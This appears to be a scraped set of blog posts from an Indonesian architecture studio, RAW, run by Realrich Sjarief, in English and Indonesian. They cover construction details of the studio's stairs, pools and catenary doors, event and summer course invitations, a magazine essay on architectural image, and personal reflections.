platform for designers, architects, landscapers and planners with urban interest to interact, share and continue the legacy of Mas Tata. After our first session with Sibarani Sofian (AECOM), our second session will feature Realrich Sjarief (RAW), and we’ll continue to the next round with more interesting journeys.
Kindly make your reservation to Anastasia.Widyaningsih@aecom.com or Ade.Kurniadhi@aecom.com by June 19 (seats are limited)
“Life is a journey, not a destination …” (RW Emerson)
There are people among us that has the privilege to enjoy great things in their career life such as continuing education overseas, working in great international design studio/offices… living their dreams as one of the few that can shape and influence built environments, in inspiring ways, to be better ones for the greater good of many.
We want them to share their journey, their stories on how to get there and what we can learn from it. Behind every success there must be trial and tribulation, struggle and hardships. Behind every journey, there must be friends and companions, supports and promoters.
Let’s listen to one of the journey .. “Realrich Fool’s Progress”
This event is part of the effort of “Continuing the Legacy of ARS (Ahmad Rida Soemardi)”, our friend, our mentor, and our supporter, who relentlessly promoted young designers like Realrich and many others. We hope to continue this event series as a
platform for designers, architects, landscapers and planners with urban interest to interact, share and continue the legacy of Mas Tata. After our first session with Sibarani Sofian (AECOM), our second session will feature Realrich Sjarief (RAW), and we’ll continue to the next round with more interesting journeys.
Kindly make your reservation to Anastasia.Widyaningsih@aecom.com or Ade.Kurniadhi@aecom.com by June 19 (seats are limited)
The design get exercised to get those circle and catenary shape on drawing and on site , through several types of construction materials by local craftsmanship. the bricks arranged to follow the shape of circle or catenary assisted using a rope to define a mold then the bricks takced refined using cement to get the perfect shape with plastered.
this glass floor using hollow as a frame. the hollows joined by using welding method, and covered by 10mm tempered glass which is has good quality in terms of retaining heat and also strong enough to hold the load of humanweight.
The Guild has a library, called OMAH Library, which located near studio bathroom. The library’s wall was created by concrete, and finished by couting. The plafond used gypsum material with waffle pattern, and there is skylights on the ceilling. This skylight function is to give natural lighting inside this library.
Overall, this place was inspired by a poem which written by Ann C.
We’re curious. We learn.
We become hungry for knowledge as if we’ve been starving for centuries.
Thus, we cram, we swallow and try to devour everything we could into our heads.
However, time chases us like a hunter after prey.
After all, knowledge doesn’t come to us effortlessly.
We risk the danger of being demolished with time and carefully learn all that there is to learn and remember.
At last, are we able to feast, risk it all and retreat without being fed on by time instead?
this poem told us, we are hungry for knowledge, but there’s no knowledge will come easily or come by it self. To get knowledge, we need efforts and make time to read the books. That’s why, the poem told us Library was weird. We can stay in library, reading books and spending our time without realize time has passed
The wild plants adjacent the guild is cultivated in the glass box to push its limit to local climate. There are another typical productive plans used and plants in the konples
based on experiences and projects that have been done as well as the commitment to keep learning, growing, and creativity, RAW tried to apply details that is not generally in the Guild. the result is very satisfactory and expected to be a lesson to apply on another projects.
this concrete pool is designed to use overflow system. the water is filtered and redistributed to the pool through a mixture of different return inlets.
when the pool is already full, the incoming water automatically spills over and it will create overflow effect. besides creating a dramatic effect, that overflow pool tends to be much cleaner because the water perfectly recycled.
similarly with the pool. the fish pond use overflow system.
when the pond is already full, the incoming water automatically spills over and it will create overflow effect. this system makes the water in the pond perfectly recylced and clean.
The word catenary is derived from Latin word for ‘chain’. Nowadays, it is known as the shape of chain carrying nothing other by its weight suspended by its ends and acted on by gravity. The shape itself is easily encountered in the simplest forms of things of our surroundings such as spider’s web and suspended bridge. Commonly adapted to kiln, the catenary shape is adapted to doorway to achieve ideal shape for freestanding arch of abiding extent. All of the catenary door is an enginereed door which is exercised based on the efficiency of ergonomy, height of the people, ease to open the door, adjusted for the owner’s dimension, the minimum size of opening, the limitation of hinge and combination of steel.
Ya Tuhan. jangan berikan cobaan yang lebih berat dari apa yang bisa diterima untuk keluarga kecilku. Semoga semua apa yang kulakukan di dunia ini bisa memberikan kebahagiaan untuk orang – orang, terutama untuk orang yang disayangi.
This costumized railling is located at the stairs which funcionate to connect the Associates Room, Technical Room, and Administration Room. This railing has a tubular shape, it connects every stairs step that located in one coordinate.
Material use in this railing is a similliar with the perforated stair stepping, it’s metal 0,5 inch diameter. It’s joined by welding the end of pipe with the side of stepping stairs. This pipe is still soaring to the upside, till the administration room, connected to the perforate there, and joined by weld.
the guild tried to make something similar to pietra serena (a gray sandstone also known as Macigno stone) by using different material from GRC by applying techniques from Stucco Lucido. Stucco Lucido is formed from dissolved animal glue, boiled linseed, and dissolved Bologna’s plaster (calcium sulfate). Natural earth shades are added to the mixture until the desired color is reached. The mixture is sieved and left to cool. So the color stays consistent a single mixture for all surfaces treated is made. Coats are applied to the surface and sand of each layer before moving on to the next one. In order to achieve a glossy brushed stucco finish, the process is continued by applying cross-layered coats. The last coat is applied with an iron spatula that is at least 8 cm wide. The mixture being pressed until the desired gloss is achieved. This technique avoids using wax, the glossy effect is achieved with a long hand-processing of the mixture that is laid on the surface and is what creates a fluid and transparent coating.
The basic principle is waste from baths, showers, washing machines, dishwashers,sinks, etc will be separated into solid waste and liquid waste. then the liquid waste that we called waste water will pass through pipes that have been hollowed to trickle into the soil.
Zero Strom Run Off is a methods to recycle the rainwater. In this building, this system is located in a manhole under the concretes in front of the Principal Room. This concrete connects the Principal Room and Amphitheatre.
This manhole is water recycle shelter. There are fish, one of it is mujaer and catfish. These fish could eat the dirt, makes the rainwater more filtered. Then, this rainwater is pomped and could be used for watering the landscape.
This stair is located in the left side of Associates Room as a connector of Associates room – Technical Room – Administration Room. On the first four steps, the width of the steps was made parallel to the wall resulting in the edges which are joined to the wall to be rotated abiding wall position. All of this stairs material is steel, including the structures and finishing. It’s 3,5 – 4 centimeters steel framework structures. The stair steps use perforated steel, supported by the steel framework structures. Screws, is used to join the steel framework and perforated stepping. To stick the steel frame with the bare concrete wall, we also use screws and elbows.
The Associates Stairs usin g screws to join the steel framewoks and perforated stepping, and also weld to join each steel frame. To make the surface clear and smoother, the stairs painted with Duko then applied damping finishing.
Mezzanine Stair
This stair has a similiar stucture, construction, materials and finishing with the Associates Stair, located in RAW Studio Mezzanine, to connect Ground Mezzanine with the floor above it . This circular shaped stair was built inside a concrete circle which has 1,5 meters diameter width. Mezzanine stairs had 12 footsteps, which everysteps has 22,5 degree radius. The concrete thick is 15 centimeters.
Stair Behind The Living Room
This stair is a private access of the resident, to connect Living Room to the residents private area (including maid), and also an access to the Roof Top. Unsimiliar with another stairs, this stair was made by concrete, steel, and wood.
Bare concrete was made as a structure of this stair, and also a place for the wood stair steps. This concrete applied couting finishing.
Steel was applied for railing. It has a pipe shaped, with 0,5 inch diameter and it height is 1,1 meters. To join the pipe, we are using weld.
We use Ulin Wood with Ultran finishing for the stair steps. For lighting, we use LED lamp as indirect lighting and placed it under the wood finish, hidden from the eye.
Roof Top Stair
This stair is located in outdoor area in First Floor. Basically, the structure, material, and finishing of this stair is the same with Associates Stair and Mezzanine Stair. The difference is the railing shape, and the stair it self has L shaped.
It railing was created by steel frame, which is formed in rectangular shape. The height of railing is 1 meter. The join also using screw and weld. To make the surface clear and smoother, the stairs painted with Duko then applied damping finishing.
Realrich is interviewed in Archinesia Vol.5 – Good Design in Architecture Now. Please check the note from Archinesia :
One of the most important (and now quite dominant) processes in architecture is design process, and the goal of architecture design is to attain good design.
Good design has a double meaning, aesthetic and ethic. In architecture the two should be united as a single goal that a design process should strive for. Moreover, an architectural product does not only affect its client and architect. On a broader level, architectural products also affect their surrounding environments. In a larger scale, they may even have an effect on the economy and the social and political condition.
The question is: how does an architectural design attain the label ‘good design’? We tried to find the answer through a round table discussion by inviting the two groups of architecture professionals in Indonesia: practitioners and academics. What are their thoughts on this matter? You can peruse them in the Main Coverage of Archinesia Bookgazine Volume 5. The main coverage is a transcription of the presentation of each speakers of the round table discussion, with no intervention whatsoever from our writers, which tends to steer the readers’ opinions. Why did we choose to run the transcription as is? Through this direct transcription we invite our readers to be present in the midst of the conversation circle. But what about the arguments and the formed opinions? We let them open for our readers to process, analyze, and summarize. Because we know there are no such things as standard parameters for good design. Whether or not good design is achieved by an architectural product, it is highly dependent to the condition and context of where we are.
Good designs can aslo be enjoyed through architectural works. This time we have several architects whose works are exhibited for the first time in the pages of ARCHINESIA Bookgazine, even though they are quite famous in ASEAN’s architectural scene. They are Duangrit Bunnag from Bangkok and Singapore based DP Architects and ONG&ONG. We are also delighted to show the works of young architects who are always emerging in ASEAN area, such as Revano Satria (Semarang, Indonesia), Archimetric (Surabaya, Indonesia), and Studiodasar (Jakarta, Indonesia). Are their works entitled to be called good design? We’ll let you, readers, to be the judge. At the very least, these select works are an effort to bring good design to architecture today.
Fifteen-year-old Charles Fox is sent away to boarding school, innocent, alone and afraid. There one of his masters develops an intense attachment to him. But when Charles meets Margaret, a girl staying at a nearby farm for the holidays, he is besotted, and a passionate, unforgettable romance begins. Published in London in 1937 to wide acclaim, The Young Desire It is a stunning debut novel about coming of age: an intimate and lyrical account of first love.
Acara ini bersifat informal dengan tujuan untuk mengetahui proses berarsitektur yang baik, mengetahui bagaimana menjawab permasalahan desain secara kreatif dan konseptual. Pembicara akan membagi proses dalam desain, tips, trik terutama pencarian desain untuk menemukan cinta pertamanya dalam arsitektur di dalam hal ini pencarian desain direfleksikan dalam kompetisi desain yang tidak selalu menang namun kaya akan eksperimen ide yang kreatif. Be There guys! RSVP : kafipangestu@gmail.com
Susunan Acara :
4.00 pm – 5.00 pm Tiyok Prasetyoadi “Kreativitas Desain dalam Sayembara”
5.00 pm – 6.00 pm Akbar Hantar “Yang Muda Yang Berkarya”
7.00 pm – 8.00 pm Septrio Effendi “Pembuktian pada Proses”
8.00 pm – 9.00 pm Realrich Sjarief “Finding Maria Mercedes”
Poster by Muhammad Zainnoor Ariffin Widjaya
Fifteen-year-old Charles Fox is sent away to boarding school, innocent, alone and afraid. There one of his masters develops an intense attachment to him. But when Charles meets Margaret, a girl staying at a nearby farm for the holidays, he is besotted, and a passionate, unforgettable romance begins. Published in London in 1937 to wide acclaim, The Young Desire It is a stunning debut novel about coming of age: an intimate and lyrical account of first love.
Acara ini bersifat informal dengan tujuan untuk mengetahui proses berarsitektur yang baik, mengetahui bagaimana menjawab permasalahan desain secara kreatif dan konseptual. Pembicara akan membagi proses dalam desain, tips, trik terutama pencarian desain untuk menemukan cinta pertamanya dalam arsitektur di dalam hal ini pencarian desain direfleksikan dalam kompetisi desain yang tidak selalu menang namun kaya akan eksperimen ide yang kreatif. Be There guys! RSVP : kafipangestu@gmail.com
Susunan Acara :
4.00 pm – 5.00 pm Tiyok Prasetyoadi “Kreativitas Desain dalam Sayembara”
5.00 pm – 6.00 pm Akbar Hantar “Yang Muda Yang Berkarya”
7.00 pm – 8.00 pm Septrio Effendi “Pembuktian pada Proses”
8.00 pm – 9.00 pm Realrich Sjarief “Finding Maria Mercedes”
The Summer Pavillion is on progress, we have 1 month to finish it. Probably something interesting will come up from this summer pavilion, made from almost 80 stacking box, in module. Hopefully it will be finished on time, because I don’t have other working place for people who will join summer course on July.
Setiap orang dalam langkah hidupnya di dunia ini pasti membutuhkan rumah. Rumah adalah satu tempat dimana kita bisa pulang, mengekspresikan diri kita dalam sudut – sudut yang paling pribadi. Rumah adalah representasi dari orang yang tinggal didalamnya, terlihat dari wujud citra diri arsitektur yang ada di bangunan tersebut, apakah ia hidup sendiri, hidup dengan keluarga kecilnya, ataupun hidup dengan satu keluarga besarnya.
Citra diri ini terlihat dari hal yang yang besar sampai titik yang terkecil seperti Denah bangunan, sirkulasi antar ruang sampai elemen yang terkecil seperti di rumah ayah saya di Jakarta yang dibangun oleh dirinya sendiri. Gagang pintu yang membentuk kehidupan bagaimana pintu itu dibuka sehari – hari atapun bel rumah itu yang berbentuk unik dari material besi dengan gantungan bandul untuk membunyikannya yang bersuara seperti lonceng sapi. Suaranya lantang sampai jarak 5 rumah pun masih terdengar. Secara filosofis bel itu menjawab citra dirinya yang harus bersuara lantang memanggil penghuni untuk keluar dan menyapa orang lain yang datang untuk beramah tamah. Tampak rumah ayah saya bersifat fungsional dengan jendela kelipatan 60 cm dan bouvenlie setinggi 60 cm sebagai tempat keluar masuknya udara. Bentuk atap seperti Joglo menjanji satu kepraktisan turunnya air secara baik dengan kemiringan material genteng 30 dan 60 derajat dan sisi fungsional dimana di dalam atap joglo tersebut masih ada satu ruangan gudang. Rumah ini sejalan dengan pribadi ayah saya yang fungsional dan berhati – hati dalam menjalani hidup.
Hal tersebut adalah hasil dari Proses diskusi untuk membuat denah rumah, tampak rumah, sampai pemilihan gagang pintu, jenis pintu, pola dan jenis lantai, pola dan jenis plafond antar pemilik rumah dan arsiteknya menjadi satu proses yang membentuk citra diri arsitektur bangunan. Kalau – kalau pemilik rumah itu adalah arsitek bangunannya, terjadilah dialog itu didalam dirinya sendiri.
Romo Y.B. Mangunwijaya membahas ini dalam buku yang ditulisnya berjudul Wastu Citra berdasarkan ide bahwa setiap bangunan hendaknya memiliki citra khusus / image yang sesuai dengan identitas untuk apa bangunan itu dibangun sehingga bangunan menjadi memiliki citra diri. Buku ini menjadi landasan dalam berbuat, bahwa di dalam karya satu bangunan yang baik, cerminan citra ini menjadi satu hal yang jujur menjelaskan siapa yang menghuni, siapa arsiteknya yang mendesain, siapa yang membangun, dan bagaimana bangunan tersebut berdiri di atas alam dengan rentang waktunya tersendiri, yakni rentang waktu proses.
Rumah Glass House di conecticut milik arsitek Philip Johnson menunjukkan citra yang transparan, ringan dengan material baja, rumah ini memiliki konsep transparansi ke taman sebagai latar belakang rumah tersebut. Rumah ini l berukuran 9.8 x 17 m dengan keseluruhan dinding kaca dan ekspresi solid hanya ditunjukkan oleh ekspresi toilet di tengah – tengah bangunan. Philip Johnson hidup sendirian, tidak memiliki pelayan, sehari – hari ia ditemani oleh alam, lukisan dan buku – bukunya. Karya Philip Johnson ini , Glass House menjadi satu lambang modernisme yang menurut Nicolai Ouroussoff, seorang kritikus arsitektur menilai ini adalah satu rumah yang paling terkenal di Amerika, yang menjadi salah satu tonggak dalam sejarah arsitektur modern pada tahun 1949 di dalam jurnal architectural review.
Citra itu terbentuk atas satu proses yang panjang dimana satu bangunan setidaknya membutuhkan waktu yang cukup lama untuk dibangun dimana beton pun membutuhkan waktu untuk mengering setidaknya selama 21 hari, baja membutuhkan waktu untuk fabrikasi lebih lama dalam perencanaan yang kemudian bisa terakumulasi lebih cepat dalam proses perakitannya.
Proses pembentukan arsitektur adalah satu rajutan yang kompleks dengan segala elemen pembentuknya. Saya pikir ada dua elemen terutama dalam menentukan citra satu bangunan. Yang pertama, satu pemahaman yang utuh mengenai kualitas satu bangunan, satu citra diri arsitektur yang utuh adalah satu permulaan, dari jaman peradaban jaman ketika vitruvius menanamkan pentingnya estetika, utilitas, dan kekuatan struktur. Ataupun ketika jaman mulai berubah yang secara filsuf mulai terbentuk ideologi – ideologi yang membentuk bagaimana satu ruang itu dibentuk. Arsitektur mulai membawakan pesan dalam kekuatan desain bangunan yang dirancangnya.
Yang kedua adalah jati diri klien yang meminta arsitek tersebut untuk didesainkan rumahnya. Dibalik semua rajutan yang kompleks diatas. Setiap orang yang memiliki rumah memiliki satu impian untuk diwujudkan dari masa ia kecil sampai dewasa, sampai mampu untuk mengekspresikan dirinya di atas bangunan yang dihuninya. Seorang klien adalah satu figur yang sangat penting. Arsitek bisa sukses karena klien yang dilayaninya mampu bermimpi mengenai rumah yang disukainya. Setiap klien dalam berkerjasama dengan seorang arsitek perlu untuk menyampaikan kebutuhannya, preferensi pribadinya dalam membayangkan rumah pribadinya. Proses tarik menarik akan terwujudnya rumah idamannya ini membentuk satu interaksi yang saling memberi dan menerima. Satu desain rumah bisa jadi bersifat konservatif, mengikuti romantisme jaman seperti rumah neo kolonial dengan repetisi kolom – kolomnya yang tegas, ataupun rumah yang merepresentasikan kebutuhan pemiliknya yang dimulai dari perancangan yang membentuk ruang – ruang yang unik di dalamnya.
Oleh karena itu, kekuatan yang ada dibalik karya arsitektur adalah satu proses yang panjang dari membangun satu bangunan yang abadi atau tak lekang jaman dimana ketika kualitas proses tersebut sedemikian tingginya jadilah seseorang yang menghuni rumah tersebut akan mendapatkan perjalanan yang demikian indahnya dalam memahami dunia arsitektur. Dan kemudian arsitek pada akhirnya bisa berbangga hati bangunan yang didesainnya membawa kedamaian untuk penggunanya. Seperti kata John Ruskin, “When love and skill work together, expect a masterpiece.”
tulisan ini di publish di majalah baccarat edisi Mei – Juni 2014
RAW supports Konteks.org which is one publication unit of University of Pelita Harapan [UPH] lead by David Hutama.
catatan tentang konteks.org
ada suatu hari, kami mendiskusikan kemungkinan membuat publikasi arsitektur yang, selain bisa berguna dan tidak mengulang apa yang memang sudah ada, cocok juga dengan minat kami. Beberapa ide seru bermunculan: sketsa, dialog, cerita, proses, dan berbagai hal yang justru diam-diam bersembunyi di balik kehadiran suatu karya. Rupanya, ketertarikan kami pada arsitektur justru terletak bukan pada karya tok, melainkan pada interaksi karya tersebut dengan segala hal yang melingkunginya.
Melalui inisiasi dan dukungan dari Universitas Pelita Harapan, maka inilahKonteks, publikasi online seputar arsitektur yang tidak ingin berputar-putar membahas karya arsitektur saja. Harafiahnya, “konteks” berarti keadaan yang melingkungi suatu keberadaan. Kata ini mengingatkan kami juga akan peribahasa lawas “di mana bumi dipijak, di situ langit dijunjung”. Dengan semangat yang sama, Konteks bermaksud merenangi dan menyelami samudra pembahasan arsitektur, dari karya, tokoh, sampai wacana, sambil tetap meletakkan apa yang dibahas pada tempatnya.
Sketsa, Tampak, Perspektif dan Kolase menjadi judul rubrik untuk menggambarkan apa yang kami lihat dan bagaimana cara kami melihatnya.Sketsa—sebagai alegori dari catatan ringkas, ringan, personal dan mungkin saja tidak tuntas—menampilkan kilasan arsitektural yang kaya jejak. Tampak—sebagai alegori dari apa yang terlihat dari satu sisi—menampilkan ulasan karya atau acara. Perspektif—sebagai alegori atas apa yang terlihat dari sudut pandang tertentu—menampilkan berbagai ulasan mendalam yang sarat pendapat. Kolase—sebagai alegori dari perpaduan potongan-potongan gambar yang semula tak berhubungan—menampilkan bahasan lintas disiplin demi menemukan pemahaman segar.
We would like to invite students and junior/senior architects in Jakarta or apparently reside in Jakarta on Monday, April 14th, to join the presentation and discussion about experience from a graduate architecture major who has been involved in professional work and put his love and effort as a city planner.
The Inspiration from his final project is expected to create self-reflection for Indonesian architecture students, to create an understanding about the architectural process of one and another which is unique for each person, on their quest to find one for themselves in university. This event intends to be a memento for a senior’s sincerity on guiding his junior and teaching them the spirit of fraternal solidarity.
We are very fortunate to have the opportunity to present Mr. Sibarani Sofian (Regional director of AECOM Southeast Asia) as the speaker. He studied architecture in ITB in 1993, and after graduated he worked as an urban designer at RSP Architects and later at Skidmore Owings and Merrill, both in Singapore.
This event initially is dedicated to alm. Ahmad Rida Soemardi, for his passion and dedication to educate architecture students in Indonesia. Furthermore, it is aimed to give broader perspective on how to do architecture within widely-ranged public depends on the boundaries made from each discussion.
The discussion will be divided into two sessions:
First, The topic will be about Undergraduate Final Project, which essentially a final project is the end of one’s journey through his architecture education, whereas one need to prove his final outcome in front of the examiners. In the final project, a student pour his creativity with an assistance from the counselor who bear a responsibility to encourage, enlight, and guide him about the importance of learning through a lifetime in his final year. Eventually, the Final Project itself can be seen as an ultimate stepping stone in the beginning of an architecture graduate’s career, and furthermore, to determine his destiny.
Second, It is about the phase after one graduates from architecture school, on some parties’ effort to shape his vision to rediscover what he loves, what he desires, and what he wants to prove in his struggle to emphatize within the wider society. This time the discourse will dig deeper on the definition of urban design and urban designer, boundaries between the outcome of urban design and architecture, process that determines urban design and architecture, and their dynamics in the professional world and their distinction in Indonesia.
Moderator: Realrich Sjarief
Due to our space limitation, there will be only 35 seats available. Please RSVP to miftah@raw.co.id or rofianisa@raw.co.id to get seat confirmation.
>“Love only grows by sharing. You can only have more for yourself by giving it away to others.” ― Brian Tracy
Kami mengundang untuk para mahasiswa mengikuti summer course yang akan diadakan 2 bulan bulan July dan Agustus dengan tujuan untuk membagikan pengetahuan dalam praktek arsitektur pada keseharian biro arsitektur. Apabila berminat bisa mengirimkan cv dan portfolio kepada Mukhammad Ilham [ilham@raw.co.id] dan Tatyana Kusumo [tatyana@raw.co.id] terbuka untuk 1 kelas maksimum 20 orang. Terima kasih, perhatiannya ditunggu untuk partisipasinya. Congratulation for all of the Architecture workshop participants (July-August 2014) that will be start on Monday July 30th 2014.
We would like to invite students to join summer architecture course in on July to August 2014 which intended to share the knowledge behind architecture practice. Due to our space limitation, there will be only 20 seats available. Please RSVP to ilham@raw.co.id or tatynana @raw.co.id to get seat confirmation.
“Love only grows by sharing. You can only have more for yourself by giving it away to others.” ― Brian Tracy
Kami mengundang untuk para mahasiswa mengikuti summer course yang akan diadakan 2 bulan bulan July dan Agustus dengan tujuan untuk membagikan pengetahuan dalam praktek arsitektur pada keseharian biro arsitektur. Apabila berminat bisa mengirimkan cv dan portfolio kepada Mukhammad Ilham [ilham@raw.co.id] dan Tatyana Kusumo [tatyana@raw.co.id] terbuka untuk 1 kelas maksimum 20 orang. Terima kasih, perhatiannya ditunggu untuk partisipasinya. Congratulation for all of the Architecture workshop participants (July-August 2014) that will be start on Monday July 30th 2014.
We would like to invite students to join summer architecture course in on July to August 2014 which intended to share the knowledge behind architecture practice. Due to our space limitation, there will be only 20 seats available. Please RSVP to ilham@raw.co.id or tatynana @raw.co.id to get seat confirmation.
Satu adik saya memberikan gambar dan memberikan sebuah buku. Ia menggambar muka ini di atas kertas, saya tersenyum melihatnya, mirip gambarnya dengan alis yang tebal, rambut yang pendek, kacamata, hidung, mulut. Ia orang yang pendiam, jarang berbicara lantang. Namun ia selalu berusaha menemukan hal yang terbaik dalam setiap momentum hidupnya untuk menjadi orang yang lebih baik. Baru senin kemarin diri ini mengumumkan bahwa sudah tidak ada acara perpisahan lagi karena sejujurnya, diri ini sudah tidak sanggup untuk bersedih setiap ada yang keluar dari kantor untuk bersekolah ataupun melanjutkan petualangannya di dunia ini. Bagi saya, semua yang berkerja bersama adalah keluarga saya sendiri, siapapun dia, apapun latar belakangnya.
ia menulis pesan yang membuat diri ini larut dalam kesedihan, membuat diri ini menyadari kembali rantai waktu bahwa hidup ini adalah sebuah perjalanan.
Tetesan air mata mengalir, kesedihan datang tak disangka – sangka, Saya akan kehilangan, kehilangan pribadinya, kehilangan kehadirannya, kehilangan keceriaannya, namun saya yakin awan kebahagiaan akan muncul dimana masa depan yang cerah untuk adik saya ini akan selalu saya doakan, semua akan berjalan lebih baik. Setiap rentang waktu memiliki catatan perjalanannya sendiri. Orang pergi, dan kemudian orang datang, meninggalkan memorinya, catatannya, saat-saatnya sendiri. Tidak banyak orang yang bisa meninggalkan kenangan yang mendalam di perjalanannya namun Adik saya ini sungguh memberikan kenangan yang manis dalam perjalanannya, dan saya benar – benar bersyukur untuk itu, dan semoga kita bisa bertemu lagi, dalam rantai waktu ketika yang ada. Terima kasih Raras.
Apriani Kurnia Sarashayu : Tetesan air mata mengalir, kesedihan datang tak disangka – sangka, Saya akan kehilangan, kehilangan pribadinya, kehilangan kehadirannya, kehilangan keceriaannya, namun saya yakin awan kebahagiaan akan muncul dimana masa depan yang cerah untuk adik saya ini akan selalu saya doakan, semua akan berjalan lebih baik. Setiap rentang waktu memiliki catatan perjalanannya sendiri. Orang pergi, dan kemudian orang datang, meninggalkan memorinya, catatannya, saat-saatnya sendiri. Tidak banyak orang yang bisa meninggalkan kenangan yang mendalam di perjalanannya namun Adik saya ini sungguh memberikan kenangan yang manis dalam perjalanannya, dan saya benar – benar bersyukur untuk itu, dan semoga kita bisa bertemu lagi, dalam rantai waktu ketika yang ada. Terima kasih Raras.
“Someone secretly bury a berry in the side road and when a small sprout grows, the secret code is the passport, to the forest a wonderful journey will begin – Joe Hisaishi”
Di awal tahun 2014 di bumi pertiwi ini, mengenai arsitektur, dunia yang semakin hiruk pikuk, responsif, dinamis dengan informasi yang begitu banyaknya membuat diri ini berpikir apakah diskursus yang terjadi dalam hati yang pribadi, tempat perenungan untuk berbuat, mendesain masih terjadi dengan dalam atau sungguh – sungguh sekarang ini, di masa yang serba cepat ini ? Loncatan – loncatan inovasi arsitektur menjadi suatu gerakan politis dimana kedalamannya dipertanyakan sehingga kejujuran pun lebih lebih lagi dicari – cari begitu gencarnya dengan provokasi yang gencar di berbagai media informasi. Lucunya ada yang menjawabnya dengan pertanyaan retoris yang menimbulkan kesan sinis, kurang berempati dengan generalisasi berlebihan, juga penuh alasan sebab akibat. Saya pikir hal tersebut tidak akan menimbulkan empati yang mendalam dari manusia lain, namun ironilah yang muncul akibat salah membaca pesan ataupun menyesatkan logika. Saya pun ingin ikut menuangkan pendapat.
Kita sebagai arsitek perlu berbuat inovasi terhadap disiplinilmu kita yang terdiri dari berbagai macam olah ruang, olah rasa. Olah ruang ini tidaklah seseksi gerakan politis, atau ideologi berlebihan seperti yang dicari oleh orang – orang filsuf, namun akan memberikan kenyamanan pada pengguna, berfokuslah kepada klien anda, apa kebutuhannya, luangkan waktu untuk merenungkannya dan jawablah, renungkanlah lagi, dan jujurlah pada diri sendiri. Arsitek adalah profesi yang melayani dengan empati. Dari situlah ia akan dihargai dengan dasarnya yang kuat, fondasinya yang matang seperti bangunan yang kuat diterpa kemajuan jaman dengan kepiawaian yang teruji [sense of mastery].
Perumusan teori mengenai kebutuhan manusia ini sudah bertumpuk banyaknya, hanya saja solusi yang kreatif dari arsitek untuk memecahkan masalah kebutuhan ini yang ditunggu tunggu dengan berbagai kompleksitas bangunan yang dirancang dengan isu – isu pemakaian bangunan dengan performa yang sebaik – baiknya. Kultur budaya manusia ini akan berubah lebih baik ketika olah ruang memang memiliki maksud yang baik, memiliki nilai guna, memiliki inovasi yang mencerahkan dengan kebolehan desain yang lebih baik dari masa sebelumnya. Dan semoga saja bentuknya seksi dan mengundang decak kagum sesama kita, disinilah olah rasa itu mulai muncul, rasa yang disukai sesama, terkadang rasa itu bisa angkuh, sombong, ataupun rendah hati ataupun sederhana, itu adalah hasil proses panjang berpraktek, dan itu sah – sah saja ditengah anggapan miring orang lain yang terkadang merupakan gerakan politis yang berdasarkan emosi tanpa empati. Sehingga yang muncul adalah citarasa yang otentik [Authenticity] dari pribadiarsitek itu sendiri.
Ketika kepiawaian itu sudah teruji kemudian pembuktian empati ini pada dasarnya adalah pembuktian untuk membuka diri terhadap etika yang terdalam dari pribadi arsitek. Yang kalau – kalau pembacaan arsitek ini sudah sedemikian dalam, dicaplah ia sebagai sang radikal ataupun sang konservatif secara sendirinya, pembawa anginperubahan dan ketentramanarsitektur yang lebih baik.
Lalu lambat laun mungkin profesi arsitek akan semakin dihargai dengan sendirinya sebagai salah satu penentu peradaban jaman.
Keyakinan, empati yang lebih luas
Di tengah – tengah gerakan politis diatas. Saya mempertanyakan keyakinan yang semu ? Satu saat diri ini bertemu satu kawan lama, untuk mengingat masa – masa lalu, bahwa manusia itu berubah. Ada satu orang teman yang sudah berubah keyakinannya akan jaman yang sudah berubah, ada juga teman yang sudah semakin matang dengan kehidupannya dan keyakinan hidupnya. Mengenai keyakinan, diri ini sendiri masih mencari arti kehidupan yang hakiki tanpa menghakimi, yang terbaik yang bisa diberikan untuk sesama ini. Diri ini tidak pernah sekalipun berkata diri ini seorang katolik, ataupun katolik yang pernah membantu jemaat kristen untuk melakukan perjamuan, ataupun membantu panti asuhan muslim yang membutuhkan, ataupun membantu teman – teman Budha ataupun Hindu. Keyakinan itu ada untuk memperbaiki kehidupan manusia, namun relativitas yang ada inilah yang membuat pemahaman dan persepsi setiap orang tidak sama. Banyak juga pribadi – pribadi yang memanfaatkan agama demi dirinya sendiri.
Diri ini dibesarkan di universitas yang majemuk, plural, dengan romantisme kegiatan berhimpun yang heterogen dengan keyakinan, ideologi, pemikiran yang berbeda – beda. Namun saya ingat orang – orang yang didalamnya adalah para pemimpi yang ideal, mendambakan hidup bersama yang lebih baik. Dalam canda, senda gurau, justru saya menemukan cinta kasih, Tuhan itu di dalam diri teman – teman yang muslim, Adalah Adi namanya, Xenia namanya, ataupun Yulia namanya, ketiga orang berjilbab ditambah teman – teman lain yang musim yang teguh untuk melakukan sholat 5 waktu juga mengajarkan arti persaudaraan yang tulus dan begitu dalam membekas, dalam teman – teman kristen yang tulus melakukan perjamuan ketika jumlah mereka hanya kurang dari 7 orang saja mengajarkan semangat tulus memuji Tuhan, ataupun teman – teman Hindu yang teguh setiap pagi berangkat ke pura untuk berdoa dan mendoakan semesta yang lebih baik sebelum memulai pekerjaan mereka, ataupun cinta kasih tulus tanpa pamrih yang ditujukan oleh orang – orang budha dengan merawat viharanya dan menahan dirinya. Mereka mengajarkan perbuatan cinta kasih yang tulus untuk sesama.
Saya mendoakan selalu teman – teman masa lalu – masa depan, teman – teman terkasih untuk bisa teguh menyebarkan tindakan cinta kasih kepada sesama.
The countries in this region seem to have been overlooked, whereas they have distinctive characteristics resulting from their similarities, which, among others, are similarity in historical background as some of the countries were colonized by the same colonizers (Portuguese, British, Dutch, and Japanese); identical climate condition as the countries lie near the equator; and closeness in ethnicity, ways of life, culture, and even foods. All these influence the region’s architectural development.
Then, two coincidences happened: first, we were preparing ARCHINESIA Volume 4 on the theme of “Cross-Border”, and, second, Association Southeast Asian Nation (ASEAN) apparently has prepared the ASEAN Mutual Recognition Arrangement on Architectural Services which will take effect next two years. Therefore, in this edition we discuss the theme of “Cross-Border” with a particular context of Southeast Asia. We interviewed some sources to collect the agreement-related information that Southeast Asian architects must know about.
Moreover, this edition also covered a special report on the World Architecture Festival 2013 (WAF 2013), which took place recently in Singapore from 2 to 4 October. This year’s festival was more vibrant from that of last year, especially with the presence of architects’ latest creations, which include the winner or Building of the Year category from New Zealand.
As you would expect the ARCHINESIA Volume 4 also presents architecture creations from ASEAN architects, news, agenda, and many more reports that will broaden horizons of readers and architecture enthusiasts in Southeast Asia.
Sliced Wood is in Bravacasa Special 6th Anniversary Issue. BRAVACASA in Italy has been around for many years amongst the best Italian interior design magazines. This has been made possible by the comprehensive contents/style of the editorial formula which is capable of satisfying the reading requirements of extremely demanding readers.
